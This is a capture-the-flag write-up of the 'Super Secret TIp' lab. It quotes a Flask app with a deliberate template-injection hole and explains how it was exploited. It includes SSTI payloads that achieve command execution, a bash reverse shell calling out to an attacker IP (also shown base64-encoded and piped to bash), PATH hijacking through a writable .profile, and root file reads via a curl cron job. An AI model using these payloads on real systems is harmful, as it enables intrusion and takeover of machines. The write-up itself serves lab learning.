Super Secret TIp

Are you only good at one thing? You better be a matrix! - by ayhamalali

Recon

We hit up Nmap and scanned our target machine. We have two open ports: an HTTP server running on port 7777 and an SSH server running on port 22.

Visiting the site just gives us a static page with no working links. By inspecting the source of the page confirms that there is nothing of interest.

We start with a directory scan on the web server and find two interesting directories: /cloud and /debug. Let's visit them.

So, we have a download page at /cloud, uploaded files can be downloaded using the radio buttons - which only a part of them work - or using the text box which is limited to six characters. In the text box there is a hint. The files that might be of interest could start with the character s.

The /debug page is the most interesting page. It hints to be able to execute something by providing a password.

Foothold & First Flag

Firstly, we try to download a file which we can select from the lastly uploaded ones. The IMG_1425.NEF works. We directly start with Burp Suite to be able to provide custom inputs exceeding the limited six characters. Next, we tried several payloads like secret.py or __init__.py, but none of this were valid present files.

On hitting source.py we finally get a result. We get the source of the request handler of the page.

There are three interesting routes, two of which we already know. The third (/debugresult) we were not able to determine with Gobuster and our wordlist.

  • /cloud: This route handles file downloads. It supports downloading '.txt' files and 'source.py'. Depending on the file requested, it sends the file as an attachment.

  • /debug: This route is for debugging purposes. It checks if a user-provided password matches the stored password and performs some validation on a debug statement. If successful, it stores the debug statement and encrypted password in a session.

  • /debugresult: This route displays the result of the debug operation. It checks for the presence of a valid session and displays the debug statement.

source.py
from flask import *
import hashlib
import os
import ip # from .
import debugpassword # from .
import pwn

app = Flask(__name__)
app.secret_key = os.urandom(32)
password = str(open('supersecrettip.txt').readline().strip())

def illegal_chars_check(input):
    illegal = "'&;%"
    error = ""
    if any(char in illegal for char in input):
        error = "Illegal characters found!"
        return True, error
    else:
        return False, error

@app.route("/cloud", methods=["GET", "POST"]) 
def download():
    if request.method == "GET":
        return render_template('cloud.html')
    else:
        download = request.form['download']
        if download == 'source.py':
            return send_file('./source.py', as_attachment=True)
        if download[-4:] == '.txt':
            print('download: ' + download)
            return send_from_directory(app.root_path, download, as_attachment=True)
        else:
            return send_from_directory(app.root_path + "/cloud", download, as_attachment=True)
            # return render_template('cloud.html', msg="Network error occurred")

@app.route("/debug", methods=["GET"]) 
def debug():
    debug = request.args.get('debug')
    user_password = request.args.get('password')
    
    if not user_password or not debug:
        return render_template("debug.html")
    result, error = illegal_chars_check(debug)
    if result is True:
        return render_template("debug.html", error=error)

    # I am not very eXperienced with encryptiOns, so heRe you go!
    encrypted_pass = str(debugpassword.get_encrypted(user_password))
    if encrypted_pass != password:
        return render_template("debug.html", error="Wrong password.")
    
    
    session['debug'] = debug
    session['password'] = encrypted_pass
        
    return render_template("debug.html", result="Debug statement executed.")

@app.route("/debugresult", methods=["GET"]) 
def debugResult():
    if not ip.checkIP(request):
        return abort(401, "Everything made in home, we don't like intruders.")
    
    if not session:
        return render_template("debugresult.html")
    
    debug = session.get('debug')
    result, error = illegal_chars_check(debug)
    if result is True:
        return render_template("debugresult.html", error=error)
    user_password = session.get('password')
    
    if not debug and not user_password:
        return render_template("debugresult.html")
        
    # return render_template("debugresult.html", debug=debug, success=True)
    
    # TESTING -- DON'T FORGET TO REMOVE FOR SECURITY REASONS
    template = open('./templates/debugresult.html').read()
    return render_template_string(template.replace('DEBUG_HERE', debug), success=True, error="")

@app.route("/", methods=["GET"])
def index():
    return render_template('index.html')

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=7777, debug=False)

Furthermore, we have two interesting imports which we might have to analyze later.

import ip # from .
import debugpassword # from .

There is a custom function illegal_chars_check that checks if a string contains certain illegal characters like ', &, ;, and %. If any of these characters are found, it returns an error. This function is used in /debug.

Sessions are created and stored if a valid command is inserted with the correct password

/debug of source.py
@app.route("/debug", methods=["GET"]) 
def debug():
    debug = request.args.get('debug')
    user_password = request.args.get('password')
    
    if not user_password or not debug:
        return render_template("debug.html")
    result, error = illegal_chars_check(debug)
    if result is True:
        return render_template("debug.html", error=error)

    # I am not very eXperienced with encryptiOns, so heRe you go!
    encrypted_pass = str(debugpassword.get_encrypted(user_password))
    if encrypted_pass != password:
        return render_template("debug.html", error="Wrong password.")
    
    
    session['debug'] = debug
    session['password'] = encrypted_pass
        
    return render_template("debug.html", result="Debug statement executed.")

The password used to encrypt the provided user's password is stored in supersecrettip.txt.

password = str(open('supersecrettip.txt').readline().strip())

The provided user password is encrypted using the function get_encrypted of debugpassword.

user_password = request.args.get('password')
encrypted_pass = str(debugpassword.get_encrypted(user_password))

Thus, we have to retrieve debugpassword and supersecrettip.txt to reconstruct the plaintext users' password.

First, we retrieve the secret in supersecrettip.txt.

We are able to download other files than .txt files by bypassing the file ending check at /cloud. The bypass is possible by providing a nullbyte.

        if download[-4:] == '.txt':
            print('download: ' + download)
/cloud of source.py
@app.route("/cloud", methods=["GET", "POST"]) 
def download():
    if request.method == "GET":
        return render_template('cloud.html')
    else:
        download = request.form['download']
        if download == 'source.py':
            return send_file('./source.py', as_attachment=True)
        if download[-4:] == '.txt':
            print('download: ' + download)
            return send_from_directory(app.root_path, download, as_attachment=True)
        else:
            return send_from_directory(app.root_path + "/cloud", download, as_attachment=True)
            # return render_template('cloud.html', msg="Network error occurred")

Let's download debugpassword.py to reconstruct the plain password. We see it's a simple XOR cipher.

For reconstruction we write a simple python program to XOR the found secret (content of supersecrettip.txt) with the hidden plaintext password in debugpassword.py to get the plaintext password.

get-password.py
import pwn


def get_encrypted(passwd):
    return pwn.xor(passwd, b'REDACTED')

input_bytes = b' REDACTED'
utf8_text = input_bytes.decode('utf-8', errors='replace')
print(utf8_text)
print(get_encrypted(utf8_text))

And we retrieve the plaintext password.

Now, we can move on to /debug and check if the password works.

The statement got executed:

But we are not authorized to receive the result of our execution.

Lets revisit the source.py again.

We have to pass the ip check and session check!

/debugresult of source.py
def debugResult():
    if not ip.checkIP(request):
        return abort(401, "Everything made in home, we don't like intruders.")
    
    if not session:
        return render_template("debugresult.html")
    
    debug = session.get('debug')
    result, error = illegal_chars_check(debug)
    if result is True:
        return render_template("debugresult.html", error=error)
    user_password = session.get('password')
    
    if not debug and not user_password:
        return render_template("debugresult.html")
        
    # return render_template("debugresult.html", debug=debug, success=True)
    
    # TESTING -- DON'T FORGET TO REMOVE FOR SECURITY REASONS
    template = open('./templates/debugresult.html').read()
    return render_template_string(template.replace('DEBUG_HERE', debug), success=True, error="")

Let's retrieve ip.py.

It checks for a present X-Forwarded-For header which has to be set to 127.0.0.1 to evaluate the IP check to True.

Let's try again executing 1337*1337 in /debug, for this we are using Burp Suite Repeater. Until gaining foothold, we stay in the Repeater requesting the /debug page to resolve our queries and pass the session cookie content to /debugresult to retrieve the results.

http://10.10.143.49:7777/debug?debug=1337*1337&password=REDACTED

We copy the cookie from the response of /debug and pass it into the session cookie of /debugresult. We modify the host to 127.0.0.1 and the X-Forwarded-For header to 127.0.0.1. Next, we just have to send our request and get the result. So for now on, we just have to pass the session cookie to /debugresult in our repeater. The multiplication does not get evaluated.

Ok, let's try it with a classic SSTI using {{}} like the title of the room hints.

We paste the cookie to /debugresult and get the result of the multiplication. We are able to abuse the debug field to get remote code execution and spawn a reverse shell to get on the target machine.

For reference, we are using the following article. It discusses a code vulnerability in flask to execute Server-Side Template Injection (SSTI). We are currently able to execute simple multiplications but want to reach out to OS command execution.

The first thing we want to do it is to select a new-style object to use for accessing the object base class. We can simply use ‘ ‘, a blank string, object type str. Then, we can use the __mro__ attribute to access the object’s inherited classes. Inject {{ ‘’.__class__.__mro__ }} as a payload into the SSTI vulnerability.

We can see the previously discussed tuple being returned to us. Since we want to go back to the root object class, we’ll leverage an index of 1 to select the class type object. Now that we’re at the root object, we can leverage the __subclasses__ attribute to dump all of the classes used in the application. Inject {{ ‘’.__class__.__mro__[1].__subclasses__() }} into the SSTI vulnerability.

Let's retrieve all classes used in the application using:

{{"".__class__.__mro__[1].__subclasses__()}}

We are able to retrieve all classes used in the application and find the class subprocess.Popen like in the article. It is located at index 415. Found by a simple python program, we wrote iterating through the returned array. It differs from case to case.

So, we are able to call subprocess.Popen with the following payload:

{{"".__class__.__mro__[1].__subclasses__()[415]}}

Next, we try to execute the os command id on the target machine:

{{"".__class__.__mro__[1].__subclasses__()[415]("id",shell=True,stdout=-1).communicate()}}

It's not always at index 415, even in this machine. After several restarts the index was in another attempt at 416. Anoher possible solution would be to use the following payload:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

We enter the payload in the repeater:

And see, that the application is running under the user ayham, we got os command execution.

Let's generate a reverse shell using revshell.com.

We use a simple bash shell:

bash -i >& /dev/tcp/10.9.31.94/4445 0>&1

We have to encode it in base64, because the character & is not allowed.

Our payload looks like the following below. We decode our reverse shell and pipe it into bash.

{{"".__class__.__mro__[1].__subclasses__()[415]("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45LjMxLjk0LzQ0NDUgMD4mMQo= | base64 -d | bash",shell=True,stdout=-1).communicate()}}

The payload has to be URL-encoded. We send the request and set up a listener.

For our reverse shell to connect, we have to retrieve the result at /debugresult.

Our reverse shell connects, and we are user ayham on the machine.

Lastly, we upgrade our shell.

We directly head to the home directory of ayham and find the first flag.

Privilege Escalation to F30s

For the next part, we take the opportunity to escalate privileges to gain access to the user F30s. We see, that there are two cronjobs running. One run by F30s, the other by root.

Just for confirmation, we ran pspy64.

And see both jobs are run regularly.

While enumerating, we find a writable .profile file in F30s home directory.

We are able to manipulate his PATH variable which is helpful, because the cronjob for F30s is running bash with the tag -l which means it act as if it had been invoked as a login shell referring the PATH variable.

So, we create a cat executable at a writeable path containig a reverse shell, we chose /home/ayham/bin and make it executable.

We manipulate the .profile file of F30s via echo 'PATH="/home/ayham/bin/:$PATH"' > .profile, prepending the path to the custom cat to the PATH variable of the user.

We set up a listener and wait for connection. We are now F30s. We upgrade the shell and continue.

Getting The Second Flag

From our enumeration before with user ayham we found another secret tip at the root directory.

We remember the two cron jobs running. The one run by root runs cURL with -K command. With that, it reads its parameters through the specified file, site_check. Now, that we are F30s, we can modify the contents of the site_check to read and write files with root permissions.

From the first flag we now the name convention of the flags. We try to access the /root/flag2.txt and save it into the home directory of F30s.

After a short duration, we are able to get the contents of flag2.txt. But it is encrypted. Maybe like the password of /debug before.

Maybe there is another hint hidden in the root directory. We try to access the secret.txt file, mentioned in the /cloud page.

After a short duration, we also get the contents of secret.txt. Again, it's some binary gibberish.

We take it easy now and use CyberChef. We convert the output of secret.txt to hex and pass it to CyberChef. Recalling the secret-tip.txt, "it's allways about root". XORing the contents of secret.txt with root, we are able to retrieve an incomplete key -a big number ending with XX - to decipher the flag. Several attempts were made here before using root as key. For example with the now know password of /debug, the contents of supersecrettip.txt or the password inside debugpassword.py just to name a few. Big shoutout to lineeralgebra for pointing me here on the correct track and the collaboration in this challenge.

Converting the content of secret.txt:

print([REDACTED].hex())

Deciphering the content of secret.txt:

Passing the decrypted key into CyberChef with the contents of flag2.txt we are already able to see parts of the flag, by iterating the last two positions manually we are able to retrieve the final flag.

Last updated